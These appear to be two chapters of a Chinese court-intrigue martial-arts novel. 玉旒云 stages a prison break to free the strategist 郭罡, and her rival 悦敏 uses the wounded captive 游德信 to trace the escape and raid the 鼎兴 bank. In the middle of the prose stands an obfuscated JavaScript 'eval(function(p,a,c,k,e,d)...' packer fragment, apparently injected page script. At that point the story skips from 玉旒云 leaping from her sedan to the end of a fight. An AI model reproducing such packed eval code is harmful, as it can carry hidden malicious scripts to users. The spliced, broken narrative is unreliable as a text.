悦敏见她没有发作,喜悦之心自然就打了个折扣。不过他也明白得很,现在胜负未分,玉旒云近来计谋大长,依然有可能扳回局面。 “怎么样,内亲王千岁?”他道,“去北方传讯和组织人到甘州修水利,这事是不是就按我方才说的定下来?” “好啊!”玉旒云冷冷地,但保持着微笑,“永泽公你既然计划得如此妥当,我还能说什么?我这就去东台大营跟慕容齐他们说说挖河的差使。具体的折子就麻烦你来写——皇上还等着你回报这二百五十万两银子的事,你快点把银子点算清楚,就好去交差了。” “不麻烦,不麻烦。”悦敏才不相信玉旒云会这么轻易就把军队派到甘州去,此去东台大营显然是找部下商议对策。好在那新任督尉屈恒是自己早就安插好了的,无论玉旒云玩什么花样,总会立刻报到他的耳朵里。立刻就把折子写了,他想,只要圣旨一下,玉旒云再玩花样就给她扣个兵变造反的罪名!当下,他吩咐库工们认真做事,不得有片刻耽搁,又做了个“请”的动作:“王爷慢走!” 玉旒云走出了户部银库,脸上的笑容僵着,心情差到极点。到底要怎样才能化解眼前的危机呢? 她一边想着,一变举步上轿,不留神竟绊了一下,幸亏旁边有人扶住:“王爷当心!” 听这声音,并不是她家的轿夫,扭头看看,原来是翼王府的一个太监,过去见过几次,并不熟悉,然而那脸上似笑非笑的表情和翼王活像一个模子里扣出来的,她不禁厌恶万分:“做什么?” “奴才王贵给内亲王殿下请安了。”太监笑着打下千儿去,“我家王爷在虎脊山奉旨勘定万年吉地,不过一直都惦记着内亲王殿下您。他说过虎脊山北面黑凤岭产夜光玉,要挖几块好的回来送给内亲王。现在玉已经得着了,只是王爷一时半会儿还回不来,所以差人把玉快马送回京来——今儿一早才到的,所以奴才就赶忙给内亲王送来了——奴才从宫里一直追您追到这里哪!” 玉旒云搞不懂翼王为什么要做这些无聊的事,没好气道:“我忙得很,没空打赏你。你送到我府上再去账房领赏吧。” “这可不成!”王贵道,“我家王爷信里交代得清楚,这夜光玉一定要奴才亲手交到内亲王的手中。这可是难得一见的宝贝呢——王爷说,这玉在暗处能够发光,更希奇的是,能显示出内亲王的名字来。内亲王请看——”王贵也不顾玉旒云不耐烦,就把捧着的盒子打开了,露出里面绿得发黑的一块石头来。他用袖子遮挡住阳光,只露一条缝,捧到玉旒云眼前硬要她看。 玉旒云虽然恼火,不过和翼王约定要唱这出戏,就一定得唱下去,只好从王贵的袖缝里张了张,见那黑绿色的夜光玉果然发出了青白的荧光,有几处光芒明显黯淡些,那图案正是自己的名字。 “怎样?”王贵道,“奴才没有胡说吧?我家王爷说了,这块是小的——大盒子里还有一块大的,更加希奇,不过要内亲王自个儿慢慢看了。” “好吧。”玉旒云唯恐不收下这礼物还要被王贵继续纠缠下去,耽误自己找慕容齐等商量正事,只得接过大小两只盒子,道:“你自己去我府里领赏吧。”边说边上了轿,吩咐回府,预备换了快马驰到东台大营去。 轿子晃晃悠悠地前进着,她就头昏脑胀地继续思考着对策。一条思路又一条思路,处处碰壁。如果能问一问郭罡就好了,她脑海中不禁浮现出这个丑陋谋士的面孔,所以看起来异常复杂的事,到了他那里都变得轻松——也许正是因为这黄鼠狼不择手段,所以才能时时冲破困境。 不过现在没有翼王做幌子,也不能再去“审问”反贼,进刑部大牢谈何容易?就算能侥幸进去一次,赵王父子一定早就派人暗中监视自己,消息迟早还会走漏。如果能有什么法子,一劳永逸地将这黄鼠狼养在自己身边就好了。 她正想着的时候,轿子忽然停住了。 “什么事?”她让轿夫去问个究竟。 “是九门提督衙门和顺天府在办差。”轿夫不久就来回答。 “那就退回去,从别的路走。”她命令。 “退不回去了。”轿夫道,“后面有好些推车卖菜的,小的们这就去赶走他们,王爷稍待。” 玉旒云无法,只好坐在轿中枯等。外面不耐烦的人群嘈杂万分,让她本来就纷乱的思绪更加绞成乱麻,简直不知道要从何想起。她不由得心情更糟,拿了翼王送的礼物来出气,将两个盒子一起打翻,夜光玉便滚落了出来。 因为轿子放下了帘儿,内中光线十分昏暗。夜光玉的荧光和上面的图案都清晰可见。小的那块仍旧是那“玉旒云”三个字,而大的一块则好像小楷刻成的石碑似的,有一长篇。玉旒云“咦”了一声,捡起来看个究竟。 “内亲王安好?”那玉上刻着,“常言道一日不见如隔三秋,我长久不见内亲王你,岂非隔了数世之久?相思之苦,内亲王一定明白。” “这无聊的人!”玉旒云不禁脱口骂道——什么稀奇宝玉天然有字,无非是他用了手段在上面雕出花纹罢了!自己在京中焦头烂额,这家伙却还弄些风花雪月的恶心话来气人!她真想把这夜光玉丢出去摔个粉碎。 不过再看一眼,那荧光中的下一句话却和前文完全连不上,乃是“石人”两个字,还是篆书的,完全不知是何意思。玉旒云皱了皱眉头,再看下去,只见翼王刻道:“内亲王准备好猎狐狸了吗?”她心中不禁一凛,想起翼王临走说过要设计逼赵王提前造反,叫自己在京中准备镇压,莫非翼王已经想出了法子? 那么现在悦敏去北方调兵,岂不正好配合了翼王的圈套?若然如此,则自己更加不能让东台大营的军队离开西京一步!要想尽办法拖延时间…… 才想着这“拖”字诀要怎生施展,忽听得外面“嗡嗡”的扰攘之声变成了惊呼尖叫,接着就听到有人断喝道:“奸贼,你们跑不掉了,快快束手就擒!”玉旒云一怔,撩开帘子一望,就见就三个男子正起起落落地踩着人群朝自己这边奔了过来,而后面穷追不舍的看服色正是九门提督府的步军兵士。 原来是九门提督府在办案抓人!玉旒云不多想,在座位上一拍,便扑出了轿门,堪堪挡在那当先男子的来路上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他只顾着自己激动,根本没留心背后露出恁大空门,步军兵士看准机会“呼”地一刀就划带一道一尺多长的血口子。惨呼一声,他摔倒在地,立刻被好几把刀架住了脖子。 “游老弟!”使峨嵋刺的赶忙前来相救,不意玉旒云劈手一刀挡他的来路。他正怒火冲天地还击,那边三个步军兵士就一齐向他扑了上来。饶他是个会家子,但以一敌众,且步军兵士护卫京畿训练有素,没多时他也就受了好几处伤。而此时步军援兵也赶到了,顷刻又有十来人拨开人群杀到了他的跟前。很快他就败下阵来。 那使剑的也是一个下场,和玉旒云单打独斗了没多久便遭到了步军援兵的围攻,身上数处受伤,终于被擒。 到他们三个都被制住,玉旒云才把刀递还给先前的步军头领:“我道是谁要九门提督衙门这么大动干戈,原来是楚国武林的几位英雄啊!你们很想抓我么?可惜本领还是差了一些。” “有本事单打独斗!”那使峨嵋刺的怒斥,“倚多为胜,算什么英雄好汉?” “我是英雄好汉么?”玉旒云冷笑,“我不是‘狗贼’么?”她拍了拍手,又整了整衣服,好整以暇。这时旁边领头的步军兵士也简短地向她报告了事情的起因——原来这些人光天化日闯进刑部大牢企图营救之前从云来酒家百逮捕的那些奸细,不过正好撞上顺天府往刑部押送犯人,两个衙门的官兵凑在一处,使得这些人的奸计失败。顺天府还立刻请九门提督衙门相助缉拿犯人,这才有了方才的戒严。“多承王爷出手。”那领头的道,“卑职等这就回去向潘大人复命。” “不用谢我,举手之劳嘛。”玉旒云心中暗笑:岂不知你们才帮了我一个大忙?因冷笑着对那三个已经被五花大绑的人道:“你们虽然没有头脑,不过却很讲情义。你们很想去刑部大牢见你们的同伙么?本王这就成全你们!” “玉旒云!”神农山庄的弟子挣扎着骂道,“你这人面兽心的奸贼!我师妹呢?你把她弄到哪里去了?你敢动她一根头发,我游德信变鬼也不放过你!” 哦,原来是叫游德信!玉旒云冷笑着:“你师妹端木槿千里迢迢来到我国是为寻找她的心上人,也就是当今太医院里的新贵林枢林大夫。你大概还不知道吧?她追随我东征立下大功,我打算求皇上破格让她进太医院呢——这样的有功之人,我怎么会动她一根头发?” “胡说八道!”游德信大怒,“我师妹才不会助纣为虐,她……”才要继续骂下去,后颈上吃了一掌,立刻叫他头晕眼花只有咳嗽的力气。 “闭上你的臭嘴!”领头的步军骂道。又扭头向玉旒云躬身道:“王爷,您方才说要把他们押去刑部大牢?可是,还没有定罪量刑,是不是应该押顺天府?” “楚国的奸细,除了死罪还有什么其他的下场?”玉旒云道,“何必还要顺天府多花功夫。我要把他们和之前的那批奸细一同审问。” “是。”领头的步军虽然知道这于规矩不甚相符,但玉旒云说的话岂敢违抗? “啊,对了!”玉旒云想了想,又道:“叫你们潘大人也到刑部牢房来见我。” 潘硕到刑部大牢来见玉旒云。虽然地点是在拷问室,但是内中只有玉旒云一人,连半个楚国奸细也未看见。当房门在他身后关闭,他知道玉旒云交代他做的决不是寻常的任务。果然,命令是,把把新老楚国奸细统统放走。 玉旒云的用意并不难理解。庆澜元年时也是因为潘硕按指示放走了绑架翼王的奸细,才使楚国武林内部互相猜忌,鸡飞狗跳。不过这次他却有些为难:“过去奸细关在九门提督衙门,要卑职神不知鬼不觉地放人还很容易。可这次王爷一定要把犯人关在刑部,卑职恐怕……恐怕得事先和刑部的人打个招呼。这样……” “我几时说要‘神不知鬼不觉’了?”玉旒云道,“我要越多人知道越好。所以你今晚要挑身手最好的下属,到这里来劫狱。” “劫狱?”潘硕一愕,“和刑部的人交上了手,万一被发现就难交代了。” “所以叫你挑身手最靠得住的。”玉旒云道,“此外,除了关奸细的那几间囚室,你也随便劈开几扇别的门,放些其他的囚犯出来。越是混乱,越是不容易被人发觉。” “是。”潘硕虽然答应,但是心里疑问万千:“放人之后,王爷又打算如何?要不要下官跟踪他们看看还有无楚国刺客潜伏在京师附近?” “你只管替我放人就好了。”玉旒云道,“楚国武林的那些匹夫,能成什么气候?犯不着你多花力气去追查。” “下官知道。”潘硕想,玉旒云看来又是故技重施,想使离间之计。“那么,其他放出来的犯人怎样?” “刑部明天自然会张榜通缉。”玉旒云道,“要是请你们协助抓人,你们就照规矩办事,否则,你也不用理会了。只按我的吩咐办妥就好,其他的不用你多问。” “下官遵命。”潘硕一头雾水的答应,忍不住有些埋怨:如果是替石梦泉办差,一切总是交代得清楚明白,从来不会被蒙在鼓里。而玉旒云总好像从来不把下属当成自己人似的。不能与上司一道通观全局,其实会很难部署行动。不过,这些话又怎么敢和玉旒云说呢?他就只有退了出去,回衙门照吩咐挑选劫狱的人选,待二更鼓响就越墙进入了刑部大牢。 可巧刑部当值的几个狱卒都玩忽职守,正在喝酒划拳。潘硕等人不费吹灰之力就将几人打晕了,取了钥匙,打开了囚禁楚人的那几间囚室。早前从云来酒家抓来的一批人经过翼王几次“拷问”早就挫光了锐气,见人来“救”,竟一个个蠢若木鸡,要潘硕等连拖带拽才肯出囚室。而这天才入监的游德信等人则还满是匹夫之气,跃出门来就问:“英雄高姓大名?是何门派?”潘硕和手下的步军兵士没一个敢开声说话的,生怕露陷,只一个劲儿地打手势叫他们快走。而这三人全不知形势,还要拿拿架势——那原先使峨嵋刺的趁一个兵士不备就夺下了刀来,劈手砍向旁边一间的牢门:“樾国皇帝和玉旒云一样都是卑鄙无耻之徒,会被他们囚禁的必然都蒙受了不白之冤。就由我来替天行道!”原先使剑的那个见状也飞起一脚朝另一扇牢门上踢去:“不错,天下总还有公理。玉旒云这狗贼在我国屠杀妇孺,在自己家里也一定是陷害忠良之辈。诸位今日重获自由,不如同我等一起去到义军之中,讨伐这奸贼,如何?” 潘硕在黑面罩下又好气又好笑:这些楚国武林的乌合之众,和小丑有什么分别?罢了,罢了,反正玉旒云叫他制造些混乱,既然这些人愿意代劳,他倒乐意袖手。当下把监牢的钥匙也递给了游德信,好让他也参与到这闹剧中去。 然而游德信接了钥匙却并不行动,只是问道:“大侠,请问你知不知道端木槿姑娘被关在何处?” 潘硕早就听说了端木槿在东征途中的作为,晓得是玉旒云收在旗下之人,但是不能开口解释,只有不住地摇头。 游德信道:“我师妹被林枢这狼心狗肺的家伙蒙骗,想来也身陷囹圄。我一定要救她出来!”说着,径自向牢房另一端跑去,誓要搜寻端木槿。 潘硕不禁在心中大呼糟糕:狱卒换岗的时间就要到了,被游德信这样胡闹,岂不是非要和刑部的人正面交锋?他因而打手势叫步军兵士们赶紧把其他人赶出牢房,同时自己赶紧追了上去。 但不料才跑出几步,就听到后面“哐啷”一声响,接着便听人喊道:“哎呀,失火了!”待他回头看时,正见那自以为替天行道的楚国武夫一边“解放”囚犯,一边呼道:“我且一把火把这地方烧了!倒看看玉旒云将来还在哪里折磨我们的同胞!”众囚犯不知就里,有的得出牢笼欢呼雀跃,有的则身陷火海,鬼哭狼嚎。 混帐!潘硕咬牙低骂。顾不得游德信了,反身又朝大牢外走。“快!”他命令手下,“赶快把这群疯子赶出去!”真不知玉旒云葫芦里到底卖的什么药! 待他们撤到门口的时候,大火已经蔓延开了,刑部的兵丁也被惊动,纷纷赶来。看到火苗飞蹿,出了囚笼的犯人四散奔逃,兵丁们简直不知是先救火好,还是先抓人好,根本没心儿理会行迹可疑的潘硕等人,甚至只是喊人去报告要求增援就已经让当值的人手忙脚乱,连牢房里面是何情形都顾不上关心。 其实牢房里面更加混乱。游德信拎着一串钥匙四处奔走,嘴里不断喊着“师妹,你在哪里”,而监牢深处的囚犯们听到骚动,又看到火光,全都慌乱不已,许多人哭天抢地,又有有一些冲着游德信大叫:“大侠,快拿开门放我们出去!”而游德信只顾着走自己的,全不理会。 很快他就来到了牢房的最深处。此地别有洞天,并没有点灯,只有一扇天窗漏下月光来——这天正是中秋月圆之时,清辉泻下,地上犹如洒了银子,静谧美好,和嘈杂污浊的大牢仿佛两个世界。 看来关在此间的人物一定不同一般,游德信想,莫非师妹就被囚禁于此? 他且要上前,但是看到囚室前已经有一条人影,看打扮和方才“搭救”自己的那群黑衣人相同。原来也是自己人!他便欲举步。只是,听到囚室中男人声音道:“做什么?” 竟不是师妹?游德信好不失望。 接着又听外面的黑衣人回答:“是我。”说着取下了蒙面的黑巾。 这声音倒似在哪里听过,游德信想。 “我知道是你。”囚室里的男人道,“你在外面办的事我也大略都听到了,果真天赋超群,所以举一反三。”他的语气好像私塾先生嘉许蒙童,上句表扬,下句就转到批评上来:“我才计算着差不多是时候你要来找我了,但是万没有想到竟是用如此鲁莽的方法!” 黑衣人怔了怔,道:“这里不是说话的地方,先离开了再说。”说着就取出匕首来,在锁在轻轻一削,立刻就打开了牢门。 然而囚室里的人却站着不动:“大人知不知道自己在做什么?” 大人?游德信皱着眉头:难道北义师还有侠士潜伏在樾国朝廷中?还做了高官? “我当然知道。”黑衣人道,“你不是说要追随一位明主做一番事业么?现在外面已经快要天翻地覆了,难道你要继续在牢房里清修?” “正是因为外面翻了天,我才能不能出去添乱。”牢中的男子道,“楚国反贼跑了,谁也不会怀疑,但是我要是从牢房里消失,那成什么事?再说我出去了,何处可以容身?大人的府上能确保没有对头的眼线么?就算府中没有,前门后门的门口也没有么?” 楚国的反贼?游德信一惊:这是什么意思?他还来不及细细推敲,忽听到黑衣人喝道:“谁?”接着一把寒光闪闪的宝剑已经刺到了他的胸口。剑光映照之下,他才看清了对方的脸:“玉旒云!你这——”那“狗贼”两个字不及出口,玉旒云已经挺剑刺穿了他的胸膛。 “再不走就来不及了。”玉旒云命令囚笼中的郭罡,“我除了放走楚国奸细外,还放了其他许多犯人,这里又着了火,谁会知道你的去向?再说我自有地方让你安身——你不是想在这里被烧死吧?” 郭罡看看倒在血泊中的游德信,又看看玉旒云:旁人可能会说这是个杀人不眨眼的恶魔,然而他看来却是当机立断的将才。 “好,我说要追随明主,既然王爷不惜冒险相救,我又怎么能不领情呢?” 80. 第 80 章 潘硕觉得自己把玉旒云交代的差事办砸了——至少是没办妥当:楚国奸细究竟有几个从牢里逃出来,他一点儿底也没有。能够把自己的手下完完整整地带出火场又不被刑部的人发觉,已经是万幸了。他也不知道玉旒云能否勉强接受这样的结果,但暗想还是老实点儿,先请罪再说,于是次日一早就战战兢兢到议政处外面等着玉旒云。可是,议政王们陆陆续续地来,又陆陆续续地走,没有见到玉旒云的影子。 潘硕不知是何缘故,隐隐担忧。 这天要找玉旒云的当然不止潘硕一个。悦敏急着想把调兵的事最后敲定,折子已经递了,就更要防止玉旒云玩花样——他知道这丫头昨天并没有去东台大营,而是跑去刑部处理楚国细作了——偏偏夜里刑部大牢就失了火,犯人有死有伤还有下落不明——而偏偏今天她又没来议政处——世上哪儿有这么巧的事?这其中究竟有什么关联? 看到在外头候着的潘硕,悦敏一笑,上来打招呼:“潘大人,来找内亲王么?听说刑部那边出了大事?” 潘硕虽然并不是一个非常灵活的人,但是在军中久了,深知言多必失,不管是对什么人,没必要的话一个字也说不得。他就斟酌着字句,道:“下官也是为了这事来寻内亲王。刑部请步军协力追捕。虽然还没有确切逃犯名单,但是牢中关押着十数名楚国武林中人,个个都对我国心怀不轨。内亲王和楚人打交道比较多,下官想,也许她会有所指示。” 这个回答毫无破绽。悦敏道看了潘硕一眼:这个表情也毫无可疑。玉旒云手下都是些什么样的人?大智若愚还是当真驽钝如石?他笑了笑:“潘大人辛苦。可惜内亲王今天没来办公。我们已经派人到她府上去了,也许她身体不适吧。那可得去探望探望了。” 潘硕并不和悦敏寒暄,只道:“既然内亲王不来衙门,下官也回九门提督府去了。”说完,径自转身离去。 悦敏在议政处门前望着他的背影发了一阵呆,那派去玉旒云府的长随就回来了:“内亲王府的人说,昨夜内亲王赏月时多喝了几杯,犯了头疼病,还没起身。” “果真?”悦敏冷冷地一扬眉毛。 长随又道:“不过咱们的人说,其实内亲王一早就出门去了,到哪里却不晓得。” “哼!”悦敏冷笑,恐怕总和调兵的事脱不了干系,也只怕和昨夜刑部大牢的劫案有些牵连。没有人能够真正成为别人肚里的蛔虫,然而却始终可以追寻别人留下的蛛丝马迹。他因对那长随道:“走,上刑部大牢去凑凑热闹。” 他便出了宫门,上了轿,来到刑部大牢。那地儿正是尘灰烟火一片狼藉,虽然扑救及时并没有把整座牢房烧毁,但是内中的许多囚室都不能再使用了。昨夜已经紧急把一部分囚犯押送到顺天府牢房,现在为要抢修其他的囚室,索性跟顺天府协商,把所有人都押到那边去。故此这时顺天府派了兵丁来协助,刑部的狱卒把犯人一个个领出来,验明正身,再排了队押到京城的另一头。 在场的官员看悦敏来到,少不得都放下手中的活儿来前来请安。悦敏道:“怎么就出了这么大一个纰漏——查出原因了么?” 刑部的官员道:“下官看来,多半是有人玩忽职守,让贼人乘虚而入。” “哦?”悦敏做出饶有兴致的样子。 刑部官员道:“昨夜当值的狱卒都烧死了,没办法查问。不过,有一个昨天刚抓来的楚国奸细,他手里抓着各个牢房的钥匙。看来是有人里应外合。其实这群楚国奸细昨天白天也企图劫狱,正是因此才被九门提督衙门抓紧监里来的。” “此人现在何处?”悦敏问。 “他被人在胸口刺了一剑。”刑部官员道,“不过,竟然没有死。大夫已经给他处理了伤口,一会儿等他醒了,相信能问出不少经过来。” 悦敏听言,心下不由大喜:“那么我也去看看他。这事皇上很关心哪,我得找些话回报才好。” 刑部的官员岂敢不从,赶忙亲自带路,引悦敏到了一处有重兵看守的房间。悦敏一进去,就闻到了浓重的药味。一个郎中还在小炉子边忙碌,悦敏问他伤者的情况,郎中回答:“正是老天帮他,本来那一剑刺得很准,谁知他是个怪人,心脏长在右边,这才拣回了一条命。他又是练过武功的,身体底子很好,应该很快就能醒过来。” “知道他是什么人么?”悦敏问刑部官员。 “昨天抓来时纪录叫游德信,自称是楚国神农山庄门下。” 神农山庄!悦敏心中一阵狂喜,他知道玉旒云和石梦泉曾经在神农山庄的武林大会上全身而退,也知道端木槿是东征胜利的大功臣。神农山庄肯定和玉旒云有千丝万缕的联系!“我看此事关系重大。”他道,“对了,你们现在有逃犯的名单了么?一共逃了多少人?” “这……”刑部官员道,“但凡不见踪影的,都记录了,下官这就拿来给您过目。”说着就出门亲自去取。 悦敏便又叫那郎中:“把药搬出去煎,否则搞得这里乌烟瘴气的。” “是。”郎中不敢有违。 待他出去了,悦敏走到了游德信的床边,试了试他的脉搏,接着从怀里掏出个小瓶子来,倒出一粒药丸给游德信喂了下去。这是他家里门客秘制的灵药,没多大功夫游德信就悠悠转醒,舔了舔干燥欲裂的嘴唇,望望身边陌生的华服青年:“你是谁?我在哪里?” 悦敏微微一笑:“你这个问题倒问得很有意思?你觉得你应该在哪里呢?你本来身陷囹圄,现在却躺在这样干净的床铺上,你猜你是不是已经死了?” 游德信但觉胸口剧痛,想起自己被玉旒云刺了一剑,而刑部大牢又失了火,绝对没有逃生的可能,那么多半就是死了,到了地府了。他即恨恨地一咬牙:“玉旒云你这个奸贼,我纵然成了厉鬼,也不会放过你!” 悦敏微微一惊,接着问道:“怎么,刺你一剑的人是玉旒云?” 游德信道:“正是这个狗贼!她和姓林的狼狈为奸,唆使我师妹离家出走。要是我师妹有什么三长两短,我一定要她和姓林的偿命!” 悦敏听不明白:“姓林的?” “就是百草门的林枢。”游德信咬牙切齿道,“这个卑鄙无耻的阴险小人,为了想要抢走《百草秘籍》就花言巧语迷惑我师妹,他……” 原来其中还有这么多曲折,悦敏听着游德信满是醋意的牢骚,知道这些对自己一点儿用处也没有,暗骂遇上了一个自以为是的傻瓜。待游德信激动过头,牵动了伤口,不得不停下喘口气时,悦敏才问道:“你且把昨天夜里的事和我说一遍。” 游德信半是因为伤病半是本身蠢钝,根本就没想起要搞清楚悦敏的身份,看他究竟是不是地府中的判官,听人问,就老老实实地把前夜的经历说了一回,从黑衣人劫狱开始,一直到撞上玉旒云为止,其中少不了添油加醋,无非是说他自己如何勇敢,而玉旒云又如何卑鄙,就连最后受的那一剑也被他说成了大战数十回合的结果。 悦敏听着这半真半假的叙述,心里却和明镜一般,立刻就猜出了事情真正的前因后果。玉旒云不惜把刑部大牢闹得天翻地覆,为的就是要救那个人。“你可看到玉旒云带走的那个男子是什么人么?”他问游德信。 游德信摇头。 “那么你撞见玉旒云的那间囚室在何处?” “在……”游德信比划着,一时也说不清楚。 悦敏道:“那么你带我去那里总可以了吧?” 游德信一怔:“带你去?” 悦敏伸手一扳他的肩膀,仿佛也没有用什么力气,但是他就腾云驾雾般从床上飞了起来,跟着稳稳地站在了地上。“你的命很大,玉旒云没能杀死你。”悦敏低声道,“不过,要是你不按我说的去做,我现在就杀了你。” 游德信本来满口视死如归,但这时却呆住了。因为曾经离死亡那么近,回头来想想,死亡是多么可怕。看到悦敏微笑中满是威胁,且一掌紧紧地抵着自己的后心,他只有不住地点头。 悦敏道:“游少侠你真是个聪明人。你帮我做事,不仅不会死,将来的前途还不可限量呢!走——”推了推游德信,一起出门。 他们一同在焦炭堆里乱走——游德信前夜只是横冲直撞想找寻端木槿的下落,这时哪还记得究竟走过哪条走廊,哪个门?转了好半天才终于来到了郭罡的囚室跟前,道:“就是这里。” 正好那取名册的刑部官员也跟来了,悦敏便问:“这里原来关的是谁?” 刑部官员道:“是……是那个在攻打东海三省时犯了事被关进来的郭罡。算是刘子飞将军的门人,所以刘将军常来关照。” 是他!刘子飞投奔了赵王,东征的事情自然都说的一清二楚。悦敏知道,是这个郭罡巧用毒计水淹靖杨,为东征取得了最初的胜利,也因此使玉、石二人闹了矛盾,以致玉旒云大怒,差点儿要取郭罡的性命。郭罡发现投错了主子,这才改投刘子飞门下。后来他还为刘子飞顶罪入狱,所以刘子飞对他十分看重。 这样的一个人,玉旒云要救他干什么?用来威胁刘子飞?好像玉旒云不会做这么无聊的事,那么……悦敏的心中闪过一丝不安,莫非郭罡从来就是玉旒云的谋士,刘子飞根本就是被耍了——而他和赵王也连带地被耍了? 此念一起,越想就越觉得有道理,因此也越想越得心底发寒:难怪玉旒云接连搞出这么多让他大费脑筋的动作,可不就是这个郭罡在背后出谋划策么? “内亲王有没有来见过这个郭罡?”他最后求证。 “这个……”刑部官员道,“就下官所知,内亲王从来没到这里来过。她每次来都是为了楚国奸细的事。头一批奸细落网的时候,她和翼王爷常常来这里审问呢。” 翼王!由被玉旒云万分厌恶到成为她的未婚夫,玉旒云从他身上得到的大概远不止内亲王的地位吧?看来两人早就有所苟且!悦敏恨得牙痒痒的:玉旒云,也许从一开始就不应该拉拢她,而该趁她羽翼未丰一举将她铲除,那便可避免今日的诸多麻烦!不过,他又冷冷地不可察觉地一笑:游德信大难不死,这就是老天要和玉旒云作对,这次还不将她治死! 当下,他一掌把游德信打翻在地,喝道:“好你个楚国奸贼,竟敢诬蔑内亲王!” 游德信本来有伤在身,没的眼冒金星。 悦敏指着他骂道:“你听到没有?内亲王从来没有来见过这囚室里的人。就我所知,内亲王和这人还有很大过节。你方才竟然说内亲王为了搭救此人将你刺伤,这可不是含血喷人么?你本来就是敌国奸细,现在还侮辱我大樾的皇亲国戚朝廷命官——你快快把事情从实招来,否则我立刻就砍了你的脑袋。” 游德信唬得一愣一愣的,看悦敏目露凶光,他本能就分辨道:“我几时冤枉玉旒云这……”本来要说“狗贼”,但怕背上“侮辱大樾的皇亲国戚朝廷命官”的罪名,赶紧咽了回去,道:“我几时冤枉她了,确实是她想救这间牢房里的人,被我撞破,所以才想杀我灭口。”当下又将昨夜的遭遇说了一回,这次不敢添枝加叶逞英雄,一五一十地交代了自己如何才看清玉旒云的脸,就被她一剑刺中。“我亲耳听到那囚室里是男人说,”他道,“如果楚国奸细跑了还好交代,如果他不见了,别人会怀疑。而玉旒云就说,早就有安排。后来的事我就不知道了,但是玉旒云一定把这个人救走了。” 刑部官员和兵丁全听得目瞪口呆:这样听来竟然是玉旒云为了救郭罡而特地策划了这劫狱行动?简直全无道理。 悦敏也道:“真是一派胡言!”然而骂归骂,他还是装模作样地向刑部官员问道:“郭罡是不是转押在顺天府?” “这……”官员一时答不出来,吩咐兵丁把花名册拿来查对。一看之下,不禁“啊”地一声:“郭罡……郭罡如果没有被烧死,那……那就是逃走了。” “到底是生是死?”悦敏提高了声音,“事关内亲王的声誉,岂容你‘如果’?” “是,是。”官员吓得两腿发抖,“现在能辨认出来的尸首中没有郭罡……应该是……逃走了吧。” “那辨认不出来的呢?”悦敏道,“就算他逃走了,也不见得是内亲王放走的。” 众人知道悦敏位高权重,然而过去都只觉他平易近人,没想到突然发起火来。刑部官员和狱卒都面面相觑,不晓得该如何应对才好。 悦敏道:“这事非同小可。要不是这游德信信口雌黄,就是有人处心积虑要陷害内亲王,你们一定要查清楚。” 众人都唯唯连声,只游德信怒道:“我如何信口雌黄?虽然玉旒云不是什么好人,但是我也犯不着冤枉她。我亲眼看到她开门救人,如果有半句假话,我愿遭天谴!” “你说的是不是假话,查过了就知道!”悦敏冷冷地,“把这个人好生看管起来。你们继续查找这个郭罡的下落。” “是。”刑部官员连忙回答,“不过,下官驽钝,请永泽公给下官提点一二,究竟从何查起?毕竟是管内亲王声誉,这……” 悦敏道:“你是第一天在刑部当差么?你也穿这七品官服,难道你做什么都要你们尚书大人提点?简直不知所谓!”他佯作恼火,甩手就走,不过走了几步,又停下来:“算了,兹事体大,免得你越办越砸——郭罡是刘子飞将军的门人,他在西京无亲无故,如果能逃脱生天,就算不藏身到刘子飞将军府,也总要和刘将军打个招呼。你立刻就派人到刘家去查查,看有什么蛛丝马迹。” “是。” 悦敏当然不相信郭罡会去刘子飞家。他也知道玉旒云不是傻瓜,此刻又有高人指点,决不会把人犯藏在自己家里等人来抓——况且玉旒云不是一早就出门了吗?显见她把郭罡藏在了外面。 外面的何地?他回想了一下这一两个月来玉旒云的种种举动,忽然有了答案:是了,鼎兴银号的梁家——玉旒云与晋二娘来往甚密,本来悦敏也没有很留心,直到官办票业这场争斗中他被玉旒云悄悄摆了一刀,才开始调查鼎兴。显然,鼎兴为玉旒云出了不少力。玉旒云还把梁家的独生子交在石梦泉处作人质——梁家能不死心踏地帮她? 想到这里,他立刻前往九门提督衙门,叫潘说带一队人去包围鼎兴,搜查人犯。 潘硕的心里是有“鬼”的,然而步军已经答应协助缉拿逃犯,也不能推辞,否认引人怀疑。他只问:“永泽公怎么知道有逃犯在鼎兴银号?如果有狂徒闯入,梁家人应该向顺天府报案求救才是——莫非是他们和罪犯勾结?永泽公可否明示?” 悦敏特意要叫玉旒云自己的部下去揭穿她的诡计,所以非得把潘硕说服不可。“自然是有人举报了。”他道,“昨夜的事显然有人策划,其中一个同党已经落网。正是此人交待的。” 潘硕暗想:这怎么可能?悦敏显然是撒谎。不知他究竟有何企图?然而无法和玉旒云通气,只好行一步看一步,先稳住悦敏,再随机应变。他因答应了,点了一队人马同往鼎兴银号来。 到时已是下午,午睡起来的人们都又活跃了,鼎兴正门庭若市。忽然一队步军士兵全副武装地到了跟前,腰刀碰撞,马刺踏地,金声大作,街上的人全都呆住了。 “官府缉拿逃犯。”潘硕高声令道,“凡在门口的,不得进去,里面的人也不得出来。围了!”他手一挥,训练有素的士兵立刻就散成一个半圆形堵住了鼎兴的入口,又有一部分人迅速地赶去把守边门和后门。 “永泽公,请——” “嗯。”悦敏满面威严,果真是议政王领班的架势,举步朝鼎兴达店铺里走。然而还没跨过门槛,就差点儿和另一个人撞个满怀。 “啊呀!”那人一声叫,“干什么呢?”语气甚是不客气。悦敏定睛看,见是个三角眼的妇人,脸上的脂粉足有半寸厚,一说话就扑簌簌往下掉。不过,人虽其貌不扬,却通体是精明干练的劲儿。这就是晋二娘了!悦敏想。 晋二娘稳住身形也打量悦敏:“公子,您是?” “放肆!”潘硕喝道,“这是永泽公。有人举报你家窝藏逃犯,永泽公亲自带兵来缉拿。” “逃犯?”晋二娘瞪圆了三角眼,“谁造谣生事,找我们鼎兴的麻烦?我们是做正当生意的,一个铜板的税都不敢少交,怎么敢做窝藏逃犯的事?再说,窝藏逃犯对我们有什么好处?没有好处的事,我鼎兴是绝对不会做的。” 悦敏冷笑了一下:“只是有人举报,所以必须要查一下。如果没有,自然还你清白。”说着,就要招呼步军士兵夺门而入。 “不行!”晋二娘竟然双手一伸拦住了门口,“小妇人虽然目不识丁,但也知道‘人言可畏’的道理。单凭不知什么人的一句话,就给鼎兴扣上窝藏逃犯这么大一顶帽子,这个清白你还得出来么?” 